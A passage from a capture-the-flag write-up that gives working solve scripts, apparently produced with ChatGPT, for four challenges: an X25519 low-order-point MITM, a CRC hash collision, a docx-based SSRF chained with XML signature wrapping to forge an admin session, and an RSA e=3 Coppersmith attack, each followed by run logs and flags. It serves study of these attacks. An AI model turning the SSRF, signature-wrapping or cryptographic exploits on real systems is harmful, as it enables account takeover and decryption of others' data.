    r.recvuntil(b"MITM? [y/n] >>> "); r.sendline(b"y")
    r.recvuntil(b"MITM'd Public Key >>> "); r.sendline(mitm_le.hex().encode())

    # Safety lines
    sa_line = r.recvline().decode(errors="ignore").strip()
    sb_line = r.recvline().decode(errors="ignore").strip()
    verdict  = r.recvline().decode(errors="ignore").strip()
    if "failed" in verdict.lower():
        r.close(); return None

    # Ciphertexts
    a_line = recv_until_prefix(r, "A:")
    b_line = recv_until_prefix(r, "B:")
    r.close()
    if not a_line or not b_line:
        return None

    a_hex = a_line.split("A:", 1)[1].strip()
    b_hex = b_line.split("B:", 1)[1].strip()

    a_pt = decrypt_zero_key(a_hex)
    b_pt = decrypt_zero_key(b_hex)

    # Extract backticked halves
    m1 = re.search(r"`([^`]+)`", a_pt)
    m2 = re.search(r"`([^`]+)`", b_pt)
    if not (m1 and m2):
        return None
    flag = m1.group(1) + m2.group(1)
    if len(flag) != 32:
        return None

    sa = re.search(r"(\d+)", sa_line)
    sb = re.search(r"(\d+)", sb_line)
    return {
        "flag": flag,
        "sa": sa.group(1) if sa else "?",
        "sb": sb.group(1) if sb else "?",
        "a_pt": a_pt,
        "b_pt": b_pt,
        "mitm_hex": mitm_le.hex(),
    }

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <host> <port>")
        sys.exit(1)
    host, port = sys.argv[1], sys.argv[2]

    # Two known order-8 Montgomery u-coordinates (little-endian integers) that
    # make x25519 output **all zero bytes**. Both satisfy 1 < u < 2^255-20.
    # Source (values to reject): cr.yp.to/ecdh/curve25519-20060209.pdf page list / site notes. :contentReference[oaicite:1]{index=1}
    u8_1 = 325606250916557431795983626356110631294008115727848805560023387167927233504
    u8_2 = 39382357235489614581723060781553021112529911719440698176882885853963445705823

    candidates = [u for u in (u8_1, u8_2) if 1 < u < UPPER_OK]
    for u in candidates:
        mitm_le = i2le32(u)
        res = try_with_pk(host, port, mitm_le)
        if res:
            print(f"[+] Safety A: {res['sa']}")
            print(f"[+] Safety B: {res['sb']}")
            print(f"[+] Used MITM u (LE hex): {res['mitm_hex']}")
            print(f"[+] Decrypted A: {res['a_pt']}")
            print(f"[+] Decrypted B: {res['b_pt']}")
            print(f"[+] FLAG: {res['flag']}")
            return

    print("[-] Both low-order candidates failed (unexpected for this challenge).")
    sys.exit(2)

if __name__ == "__main__":
    main()
$ python solve.py host8.dreamhack.games 23711
[+] Safety A: 96314791991810382902766530930981
[+] Safety B: 96314791991810382902766530930981
[+] Used MITM u (LE hex): e0eb7a7c3b41b8ae1656e3faf19fc46ada098deb9c32b1fd866205165f49b800
[+] Decrypted A: Half of the flag was `acsc{f83b4113807`. What was the other?
[+] Decrypted B: Uhhh wait a sec... not sure but probably `fdb77498ee36e42}`?
[+] FLAG: acsc{f83b4113807fdb77498ee36e42}

Full chat history: https://chatgpt.com/share/68a039fa-ea18-8008-8b99-5c879b800946

Flag: acsc{f83b4113807fdb77498ee36e42}

crchash

Given the problem chall.py, ChatGPT first only consider simple cases like h = 1, after asking it to solve for more general case, it opts for factorizing with DDF + EDF, however the calculation takes forever even with gmpy2, after a lot of attemps to fix and optimize the kernal, degree… I ask ChatGPT to try a completely different appraoch, the new script ivolves using multiple connection to retrieve p instead of calculating it from a single connection, which works wonderful and solves the problem.

#!/usr/bin/env python3
from pwn import *
import sys, time, random
import gmpy2 as g
from gmpy2 import mpz

context.log_level = "info"
MASK = mpz((1 << 64) - 1)

# ========== CRC (same as challenge) ==========
def crchash_bytes(data: bytes, p: mpz, crc_base: mpz = mpz(0)) -> mpz:
    crc = mpz(crc_base)
    for b in data:
        crc ^= mpz(b & 0xFF) << 56
        for _ in range(8):
            if (crc >> 63) & 1:
                crc = (crc << 1) ^ p
            else:
                crc = crc << 1
    return crc & MASK

# ========== GF(2) poly helpers on mpz ==========
def deg(f: mpz) -> int:
    return -1 if f == 0 else int(g.bit_length(f) - 1)

def poly_mod(a: mpz, b: mpz) -> mpz:
    db = deg(b)
    if db < 0:
        raise ValueError("mod by zero")
    r = mpz(a)
    while r and deg(r) >= db:
        r ^= b << (deg(r) - db)
    return r

def poly_gcd(a: mpz, b: mpz) -> mpz:
    x, y = mpz(a), mpz(b)
    while y:
        x, y = y, poly_mod(x, y)
    return x

# ========== Learn p by GCD across samples ==========
def fetch_sample(host, port, timeout=2.0):
    io = remote(host, int(port), timeout=timeout)
    try:
        m_line = io.recvline(timeout=1.0).strip()
        h_line = io.recvline(timeout=1.0).strip()
        m = mpz(m_line); h = mpz(h_line)
        # Close immediately; we won’t answer this instance
        return m, h
    finally:
        try:
            io.close()
        except Exception:
            pass

def learn_p_via_gcd(host, port, samples=20):
    log.info(f"[learn] collecting up to {samples} samples to recover p via GCD")
    T_gcd = mpz(0)
    t0 = time.perf_counter()
    got = 0
    for i in range(samples):
        m, h = fetch_sample(host, port)
        got += 1
        T = (m << 64) ^ h
        if T_gcd == 0:
            T_gcd = T
        else:
            T_gcd = poly_gcd(T_gcd, T)
        log.info(f"[learn] sample {i+1}: deg(T)={deg(T)}, current deg(gcd)={deg(T_gcd)}")
        # If gcd is bigger than 64, keep going; if exactly 64, we’re done.
        if deg(T_gcd) == 64:
            break
        # If gcd collapsed to 0/1 (shouldn’t), reset with new T
        if T_gcd in (0, 1):
            log.warning("[learn] gcd collapsed; resetting gcd with this T")
            T_gcd = T
    log.info(f"[learn] done in {time.perf_counter()-t0:.3f}s; deg(gcd)={deg(T_gcd)}")
    if deg(T_gcd) != 64:
        raise RuntimeError(f"Could not isolate degree-64 generator. Try more SAMPLES.")
    G = T_gcd
    p = (G ^ (mpz(1) << 64)) & MASK
    log.success(f"[learn] recovered p = 0x{int(p):016x}")
    return p

# ========== Build 8B map F and solve F x = h ==========
def build_F_rows(p: mpz):
    t0 = time.perf_counter()
    rows = [mpz(0)] * 64  # row i: mask of columns with 1
    for j in range(64):
        x_bytes = int(mpz(1) << j).to_bytes(8, 'big')  # probe bit j (LSB-index)
        y = crchash_bytes(x_bytes, p)
        y_int = int(y)
        for i in range(64):
            if (y_int >> i) & 1:
                rows[i] |= mpz(1) << j
    log.info(f"[F] built rows in {time.perf_counter()-t0:.3f}s")
    return rows

def solve_linear(F_rows, b64: mpz):
    rows = F_rows[:]                       # list[mpz], each a 64-bit row mask
    rhs = [ (int(b64) >> i) & 1 for i in range(64) ]
    where = [-1]*64
    r = 0
    for c in range(64):
        s = -1
        for i in range(r, 64):
            if (rows[i] >> c) & 1:
                s = i; break
        if s == -1: continue
        rows[r], rows[s] = rows[s], rows[r]
        rhs[r], rhs[s] = rhs[s], rhs[r]
        for i in range(64):
            if i != r and ((rows[i] >> c) & 1):
                rows[i] ^= rows[r]
                rhs[i] ^= rhs[r]
        where[c] = r
        r += 1

    for i in range(r, 64):
        if rows[i] == 0 and rhs[i] == 1:
            return False, 0, [], 0

    rank = sum(1 for c in where if c != -1)
    x = 0
    for c in range(63, -1, -1):
        rr = where[c]
        if rr == -1: continue
        if rhs[rr] & 1:
            x |= (1 << c)

    piv = {c for c, rr in enumerate(where) if rr != -1}
    free = [c for c in range(64) if c not in piv]
    basis = []
    for f in free:
        z = mpz(1) << f
        for c in range(63, -1, -1):
            rr = where[c]
            if rr == -1: continue
            rowmask = rows[rr] & ~(mpz(1) << c)
            if int(g.popcount(rowmask & z)) & 1:
                z ^= mpz(1) << c
        basis.append(z)
    return True, mpz(x), basis, rank

def enumerate_solutions(x0: mpz, basis, need=16):
    sols = {int(x0)}
    for b in basis:  # singletons
        sols.add(int(x0 ^ b))
        if len(sols) >= need: return list(sols)[:need]
    nb = len(basis)
    for i in range(nb):        # pairs
        for j in range(i+1, nb):
            sols.add(int(x0 ^ basis[i] ^ basis[j]))
            if len(sols) >= need: return list(sols)[:need]
    for i in range(nb):        # triples
        for j in range(i+1, nb):
            for k in range(j+1, nb):
                sols.add(int(x0 ^ basis[i] ^ basis[j] ^ basis[k]))
                if len(sols) >= need: return list(sols)[:need]
    # higher combos if needed
    for mask in range(1, 1 << min(nb, 12)):
        v = mpz(x0)
        for i in range(nb):
            if (mask >> i) & 1:
                v ^= basis[i]
        sols.add(int(v))
        if len(sols) >= need: return list(sols)[:need]
    return list(sols)

# ========== Solve a fresh instance (the one that returns the flag) ==========
def solve_one_instance(host, port, p: mpz):
    io = remote(host, int(port))
    try:
        m_line = io.recvline().strip()
        h_line = io.recvline().strip()
        m_int, h = mpz(m_line), mpz(h_line)
        log.info(f"[target] m bits={int(g.bit_length(m_int))}, h bits={int(g.bit_length(h))}")

        F = build_F_rows(p)
        ok, x0, ker, rank = solve_linear(F, h)
        if not ok:
            log.error("[F] inconsistent: no 8-byte preimage"); return
        kdim = 64 - rank
        log.info(f"[F] rank={rank}, kernel_dim={kdim}")
        if kdim < 4:
            log.error("[F] kernel too small (<4): cannot produce 16 distinct collisions"); return

        cands = enumerate_solutions(x0, ker, need=16)
        # spot-check a few locally
        chk = min(3, len(cands))
        okcnt = sum(1 for v in cands[:chk] if crchash_bytes(int(v).to_bytes(8,'big'), p) == h)
        log.info(f"[verify] spot-check {chk} -> {okcnt} matched")

        for v in cands[:16]:
            io.sendline(str(v).encode())

        line = io.recvline(timeout=2.0)
        if line:
            log.success(line.decode(errors="ignore").strip())
    finally:
        try: io.close()
        except Exception: pass

# ========== main ==========
def main():
    host = args.HOST or sys.exit("Set HOST=...")
    port = int(args.PORT or 0) or sys.exit("Set PORT=...")
    samples = int(args.SAMPLES) if "SAMPLES" in args else 20

    # 1) Learn p via gcd across multiple random (m,h)
    p = learn_p_via_gcd(host, port, samples=samples)

    # 2) Solve a fresh instance (flag)
    solve_one_instance(host, port, p)

if __name__ == "__main__":
    main()
$ python solve.py HOST=host8.dreamhack.games PORT=17937
[*] [learn] collecting up to 20 samples to recover p via GCD
[+] Opening connection to host8.dreamhack.games on port 17937: Done
[*] Closed connection to host8.dreamhack.games port 17937
[*] [learn] sample 1: deg(T)=190, current deg(gcd)=190
[+] Opening connection to host8.dreamhack.games on port 17937: Done
[*] Closed connection to host8.dreamhack.games port 17937
[*] [learn] sample 2: deg(T)=190, current deg(gcd)=64
[*] [learn] done in 0.488s; deg(gcd)=64
[+] [learn] recovered p = 0x761ebb660db4eff0
[+] Opening connection to host8.dreamhack.games on port 17937: Done
[*] [target] m bits=127, h bits=64
[*] [F] built rows in 0.001s
[*] [F] rank=60, kernel_dim=4
[*] [verify] spot-check 3 -> 3 matched
[+] acsc{c668fb013f3380376b216c5bfd4014c5}
[*] Closed connection to host8.dreamhack.games port 17937

Full chat history: https://chatgpt.com/share/68a07fdb-55e0-8008-b90d-a478266137c5

Flag: acsc{c668fb013f3380376b216c5bfd4014c5}

OTT

With the two files external/app.py and internal/app.js ChatGPT identifies it as a two stage SSRF + XML Signature Wrapping, provide two solve scripts and the full solution as follows.

  1. run python mkdoc.py "http://<ip>:3000/issue?user=aaa" issue.docx to create issue.docx
  2. upload issue.docx to get tokenxml
  3. wrap it with python wrap_tokenxml.py <tokenxml> > wrapped.txt
  4. run python mkdoc.py "http://<ip>:3000/map?tokenXml=$(cat wrapped.txt)" map.docx to create map.docx
  5. upload map.docx to get admin’s UUID
  6. change the token cookie to the admin’s UUID
  7. acess /flag to get the flag

import sys, zipfile, io

def make_doc(ssrf_url, out_path):
    content_types = """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>"""
    rels_root = """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>"""
    # 在文件內放一個 hyperlink(不是必要,但更保險確保關聯被載入)
    document_xml = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
            xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <w:body>
    <w:p><w:r><w:t>hello</w:t></w:r></w:p>
    <w:hyperlink r:id="rId1337"><w:r><w:t>link</w:t></w:r></w:hyperlink>
  </w:body>
</w:document>"""
    # 關鍵:把「Type」塞成 SSRF URL
    doc_rels = f"""<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1337" Type="{ssrf_url}" Target="http://example.com" TargetMode="External"/>
</Relationships>"""
    with zipfile.ZipFile(out_path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("[Content_Types].xml", content_types)
        z.writestr("_rels/.rels", rels_root)
        z.writestr("word/document.xml", document_xml)
        z.writestr("word/_rels/document.xml.rels", doc_rels)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: python {sys.argv[0]} <SSRF_URL> <OUT.docx>")
        sys.exit(1)
    make_doc(sys.argv[1], sys.argv[2])

import sys, base64

def b64url_decode(s: str) -> bytes:
    s += "=" * ((4 - len(s) % 4) % 4)
    return base64.urlsafe_b64decode(s.encode())

def b64url_encode(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).decode().rstrip("=")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <tokenXml_base64url_from_issue>")
        sys.exit(1)

    signed_xml = b64url_decode(sys.argv[1]).decode("utf-8")
    wrapped = f"<root><Username>admin</Username>{signed_xml}</root>"
    print(b64url_encode(wrapped.encode("utf-8")))

Full chat history: https://chatgpt.com/share/68a0854e-5af0-8008-ae08-429562e86c34

Flag: acsc{1_g0t_no_t1n3_t0_th1nk_i_l1k3_wh4t_1_lik3}

Unsafe PRNG

After giving ChatGPT chall.py, it identify the goal is to break RSA-1024 with e = 3 and PKCS#1 v1.5 padding. First I notice the solve script involves trying padding string (PS) length, which is a behaviour when ChatGPT randomly trying to cheese it from previuos experience, after fixing it, the solution involves connection A to collect PS prefix and connection B to solve the challenge, by gradualy telling where the solve script stuck, it is able to fix it all the way to finish retrieving all information needed. Last the script keeps stuck at LLL Coppersmith and falls back to small_roots(monic), so I ask ChatGPT try not to make the solution fallback instead of fixing the LLL part, and I finally get a working solve script.

# usage: sage solve.sage HOST PORT
from pwn import remote
import sys, time, signal

E = 3
VERBOSE = True

# Collect 4 x 25B = 100B of PS (>=93 needed)
MSG_LEN = 100
TESTS_PER_CONN = 4
SMALLROOTS_TIMEOUT = 5     # PS recovery small_roots timeout (s)
LLL_TIMEOUT = 20           # flag lattice timeout (s)

def log(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)

# ----------------- IO helpers (always close) -----------------
def recv_n(r):
    r.recvuntil(b"n:")
    rest = r.recvline().strip().decode()
    hexstr = rest.split()[-1]
    n = int(hexstr, 16)
    if VERBOSE: log(f"received n (hex len={len(hexstr)}): {hexstr[:16]}...")
    return n

def menu_send_choice(r, ch: int):
    r.recvuntil(b"1) Test Encrypt")
    r.recvuntil(b">>> ")
    r.sendline(str(ch).encode())

def test_encrypt(r, msg_bytes: bytes) -> int:
    menu_send_choice(r, 1)
    r.recvuntil(b"Plaintext to encrypt? >>> ")
    r.send(msg_bytes + b"\n")
    r.recvuntil(b"Ciphertext:")
    ct_hex = r.recvline().strip().decode()
    ct = int(ct_hex, 16)
    if VERBOSE: log(f"  TestEncrypt: msg_len={len(msg_bytes)}, ct_hex_len={len(ct_hex)}")
    return ct

def flag_encrypt(r) -> int:
    menu_send_choice(r, 2)
    r.recvuntil(b"Ciphertext:")
    ct_hex = r.recvline().strip().decode()
    ct = int(ct_hex, 16)
    if VERBOSE: log(f"  FlagEncrypt: ct_hex_len={len(ct_hex)}")
    return ct

def klen_from_n(n: int) -> int:
    return (n.bit_length() + 7) // 8

# ----------------- timeouts -----------------
class TimeoutExc(Exception): pass
def _alarm_handler(signum, frame): raise TimeoutExc()

# ----------------- PS recovery (stable) -----------------
def small_root_univariate_e3_monic(n: int, A: int, B: int, c: int, Xbound: int, timeout_sec=SMALLROOTS_TIMEOUT):
    R = Zmod(n)['x']; x = R.gen()
    f = (A + B*x)**E - c
    Be = pow(B, E, n)
    try:
        Be_inv = inverse_mod(Be, n)
    except ZeroDivisionError:
        return None
    g = Be_inv * f  # monic

    tried = [None, 0.01, 0.02, 0.05]
    old = signal.getsignal(signal.SIGALRM)
    signal.signal(signal.SIGALRM, _alarm_handler)
    try:
        for eps in tried:
            try:
                signal.alarm(timeout_sec)
                roots = g.small_roots(X=Xbound, beta=1) if eps is None else g.small_roots(X=Xbound, beta=1, epsilon=eps)
                signal.alarm(0)
                if roots:
                    X = int(roots[0])
                    M = (A + B*X) % n
                    if pow(M, E, n) == c:
                        return X
            except TimeoutExc:
                signal.alarm(0)
                return None
            except Exception:
                signal.alarm(0)
                continue
        return None
    finally:
        signal.signal(signal.SIGALRM, old)

def recover_ps_from_ct(n: int, ct: int, msg: bytes) -> bytes:
    k = klen_from_n(n)
    ell = k - 3 - len(msg)              # expect 25
    if ell <= 0:
        raise ValueError("Message too long")
    B = Integer(256) ** (len(msg) + 1)
    A = Integer(2) * (Integer(256) ** (k - 2)) + Integer(int.from_bytes(msg, "big"))
    Xb = Integer(256) ** ell
    if VERBOSE: log(f"  recover_ps: k={k}, ell={ell}, Xbound=256^{ell}")

    X = small_root_univariate_e3_monic(n, A, B, ct, Xb)
    if X is None:
        raise RuntimeError("small_roots failed or timed out")
    ps = Integer(X).to_bytes(ell, 'big')

    if 0 in ps:
        EM = (A + B*X) % n
        if pow(EM, E, n) != ct:
            raise RuntimeError("Recovered PS invalid")
        raise RuntimeError("Recovered PS contains 0x00")
    return bytes(ps)

# --------- Correct HG/Coppersmith (column scaling + mod N^m reduction) ---------
def hg_build_matrix(fZ, N, X, m, t):
    """
    fZ ∈ ZZ[x] (monic, deg=d=3). Build integer lattice with:
      S1 = { N^{m-1-i} * x^j * fZ(x)^i : i=0..m-1, j=0..(d*m-1) }
      S2 = { x^k * fZ(x)^m : k=0..t-1 }
    Columns k are scaled by X^k; coefficients reduced modulo N^m into [-N^m/2, N^m/2].
    """
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    d = fZ.degree()
    mod = Integer(N)**m

    polys = []
    # part A
    for i in range(m):
        gi = fZ**i
        powN = Integer(N)**(m-1-i)
        for j in range(d*m):   # fatter basis than d-1
            polys.append((x**j) * gi * powN)
    # part B
    gm = fZ**m
    for k in range(t):
        polys.append((x**k) * gm)

    deg_max = max(p.degree() for p in polys)
    nrows = len(polys)
    ncols = deg_max + 1

    M = Matrix(ZZ, nrows, ncols)
    for r, p in enumerate(polys):
        for deg, coeff in p.dict().items():
            # reduce modulo N^m to keep entries small
            c = Integer(coeff) % mod
            if c > mod//2:
                c -= mod
            # column scaling by X^deg
            M[r, deg] = c * (Integer(X) ** deg)

    return M, deg_max, polys

def hg_solve_univariate(fZ, N, X, m=4, t=3, timeout_sec=LLL_TIMEOUT):
    """
    Return small root r (0 <= r < X) with fZ(r) ≡ 0 (mod N), or None.
    """
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    M, deg_max, polys = hg_build_matrix(fZ, Integer(N), Integer(X), m, t)

    # LLL with timeout
    old = signal.getsignal(signal.SIGALRM)
    signal.signal(signal.SIGALRM, _alarm_handler)
    try:
        if VERBOSE: log(f"    LLL: rows={M.nrows()}, cols={M.ncols()}, m={m}, t={t}, start")
        signal.alarm(timeout_sec)
        Mred = M.LLL()
        signal.alarm(0)
        if VERBOSE: log("    LLL: done")
    except TimeoutExc:
        signal.alarm(0)
        if VERBOSE: log(f"    LLL: TIMEOUT after {timeout_sec}s")
        return None
    finally:
        signal.signal(signal.SIGALRM, old)

    # reconstruct candidate polys by unscaling columns
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    cand = []
    for r in range(min(24, Mred.nrows())):
        row = list(Mred.row(r))
        q = R(0)
        ok = True
        for k, c in enumerate(row):
            if c == 0: continue
            # unscale
            v = QQ(c) / (Integer(X) ** k)
            # snap to ZZ
            if not v in ZZ:
                v = ZZ(v.round())
            q += ZZ(v) * x**k
        cand.append(q)

    # gcd with fZ first
    for q in cand:
        h = q.gcd(fZ)
        if h.degree() == 1:
            a = h[1]; b = h[0]
            if a != 0:
                r = int((-b)//a)
                if 0 <= r < X and (fZ(r) % N) == 0:
                    return r

    # resultants: Res(q, fZ) should vanish at r
    for q in cand:
        try:
            res = q.resultant(fZ)
        except Exception:
            continue
        # if resultant is small / zero modulo N, probe small integer roots
        if res == 0 or (res % N) == 0:
            # Try integer roots of q
            try:
                for rr, _ in q.roots(ZZ):
                    r = int(rr)
                    if 0 <= r < X and (fZ(r) % N) == 0:
                        return r
            except Exception:
                pass

    # light exhaustive over first few rows’ integer roots (deg up to ~m*d)
    for q in cand[:10]:
        if q.degree() <= 10:
            try:
                for rr, _ in q.roots(ZZ):
                    r = int(rr)
                    if 0 <= r < X and (fZ(r) % N) == 0:
                        return r
            except Exception:
                pass
    return None

def recover_flag_with_ps_hg(n: int, cflag: int, ps_flag: bytes) -> bytes:
    """
    Known PS_flag (93B):
      c = (A + m)^3 mod n,  m < 256^32
      A = 2*256^(k-2) + PS_flag*256^33
    Solve for m using correct HG lattice (column scaling + mod N^m reduction).
    """
    k = klen_from_n(n)
    if len(ps_flag) != 93:
        raise ValueError(f"ps_flag length must be 93, got {len(ps_flag)}")
    B0 = Integer(256) ** 33
    A = Integer(2) * (Integer(256) ** (k - 2)) + Integer(int.from_bytes(ps_flag, 'big')) * B0
    X = Integer(256) ** 32

    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    fZ = (A + x)**E - Integer(cflag)     # monic deg=3

    log("solve flag (HG): build lattice (col-scale, mod N^m) and search small root")
    # These few (m,t) are enough for d=3 and X < N^(1/3)
    for (m_param, t_param) in [(3,3), (4,3), (5,3), (6,2)]:
        log(f"  HG try: m={m_param}, t={t_param}, timeout={LLL_TIMEOUT}s")
        r = hg_solve_univariate(fZ, Integer(n), X, m=m_param, t=t_param, timeout_sec=LLL_TIMEOUT)
        if r is not None:
            log("solve flag (HG): success")
            return Integer(r).to_bytes(32, 'big')
        else:
            log("  HG try failed; trying next params")
    raise RuntimeError("HG (column scaling) failed to recover flag")

# ----------------- sessions -----------------
def collect_ps_prefix_conn(host, port, tests=TESTS_PER_CONN, msg_len=MSG_LEN):
    r = None
    try:
        log(f"connect A (collect PS) → {host}:{port}")
        r = remote(host, port)
        n = recv_n(r)
        k = klen_from_n(n)
        log(f"Session A: n_bits={n.bit_length()}, k={k}, will do {tests} tests with msg_len={msg_len} (PS={k-3-msg_len})")

        prefix_parts = []
        for i in range(tests):
            msg = b"A" * msg_len
            log(f" Test #{i+1}: msg_len={len(msg)}")
            ct = test_encrypt(r, msg)
            ps = recover_ps_from_ct(n, ct, msg)
            prefix_parts.append(ps)

        prefix = b"".join(prefix_parts)
        log(f"PS prefix collected: {len(prefix)} bytes (expect {(k-3-msg_len)*tests})")
        return n, prefix
    finally:
        if r is not None:
            try:
                r.close(); log("closed connection A")
            except Exception:
                pass

def get_flag_once(host, port):
    r = None
    try:
        log(f"connect B (get FLAG) → {host}:{port}")
        r = remote(host, port)
        n = recv_n(r)
        k = klen_from_n(n)
        log(f"Session B: n_bits={n.bit_length()}, k={k}")
        c = flag_encrypt(r)
        return n, c
    finally:
        if r is not None:
            try:
                r.close(); log("closed connection B")
            except Exception:
                pass

# ----------------- main -----------------
def main():
    if len(sys.argv) < 3:
        print(f"Usage: sage {sys.argv[0]} HOST PORT")
        sys.exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2])

    attempt, total_conns = 0, 0
    while True:
        attempt += 1
        log(f"=== Attempt {attempt} (PS via small_roots; Flag via HG with column scaling) ===")

        try:
            n1, ps_prefix = collect_ps_prefix_conn(host, port, tests=TESTS_PER_CONN, msg_len=MSG_LEN)
            total_conns += 1
        except Exception as e:
            log(f"collect PS failed: {e}")
            continue
        if len(ps_prefix) < 93:
            log(f"internal error: collected {len(ps_prefix)} < 93 bytes")
            continue
        ps_flag = ps_prefix[:93]

        try:
            n2, cflag = get_flag_once(host, port)
            total_conns += 1
        except Exception as e:
            log(f"get flag failed: {e}")
            continue

        if n1 != n2:
            log("modulus mismatch between sessions (n1 != n2) → retry attempt")
            continue

        try:
            flag = recover_flag_with_ps_hg(n1, cflag, ps_flag)
            print("\nFLAG (raw):", flag)
            try:
                print("FLAG (utf-8):", flag.decode())
            except Exception:
                pass
            log(f"Done. total_connections_used={total_conns}")
            break
        except Exception as e:
            log(f"solve flag failed: {e}")
            continue

if __name__ == "__main__":
    main()
$ sage solve.sage host8.dreamhack.games 17941
[17:01:56] === Attempt 1 (PS via small_roots; Flag via HG with column scaling) ===
[17:01:56] connect A (collect PS) → host8.dreamhack.games:17941
[x] Opening connection to host8.dreamhack.games on port 17941
[x] Opening connection to host8.dreamhack.games on port 17941: Trying 158.247.232.53
[+] Opening connection to host8.dreamhack.games on port 17941: Done
[17:01:57] received n (hex len=256): b29bee9efc5e6988...
[17:01:57] Session A: n_bits=1024, k=128, will do 4 tests with msg_len=100 (PS=25)
[17:01:57]  Test #1: msg_len=100
[17:01:57]   TestEncrypt: msg_len=100, ct_hex_len=256
[17:01:57]   recover_ps: k=128, ell=25, Xbound=256^25
[17:01:57]  Test #2: msg_len=100
[17:01:58]   TestEncrypt: msg_len=100, ct_hex_len=256
[17:01:58]   recover_ps: k=128, ell=25, Xbound=256^25
[17:01:58]  Test #3: msg_len=100
[17:01:58]   TestEncrypt: msg_len=100, ct_hex_len=256
[17:01:58]   recover_ps: k=128, ell=25, Xbound=256^25
[17:01:58]  Test #4: msg_len=100
[17:01:58]   TestEncrypt: msg_len=100, ct_hex_len=256
[17:01:58]   recover_ps: k=128, ell=25, Xbound=256^25
[17:01:58] PS prefix collected: 100 bytes (expect 100)
[*] Closed connection to host8.dreamhack.games port 17941
[17:01:58] closed connection A
[17:01:58] connect B (get FLAG) → host8.dreamhack.games:17941
[x] Opening connection to host8.dreamhack.games on port 17941
[x] Opening connection to host8.dreamhack.games on port 17941: Trying 158.247.232.53
[+] Opening connection to host8.dreamhack.games on port 17941: Done
[17:01:59] received n (hex len=256): b29bee9efc5e6988...
[17:01:59] Session B: n_bits=1024, k=128
[17:01:59]   FlagEncrypt: ct_hex_len=256
[*] Closed connection to host8.dreamhack.games port 17941
[17:01:59] closed connection B
[17:01:59] solve flag (HG): build lattice (col-scale, mod N^m) and search small root
[17:01:59]   HG try: m=3, t=3, timeout=20s
[17:01:59]     LLL: rows=30, cols=15, m=3, t=3, start
[17:01:59]     LLL: done
[17:01:59] solve flag (HG): success

FLAG (raw): b'acsc{4e3a12e93ee744274bfb31c7ad}'
FLAG (utf-8): acsc{4e3a12e93ee744274bfb31c7ad}
[17:01:59] Done. total_connections_used=2

Full chat history: https://chatgpt.com/share/68a0ae6d-9a6c-8008-8c56-72444c6314f0

Flag: acsc{4e3a12e93ee744274bfb31c7ad}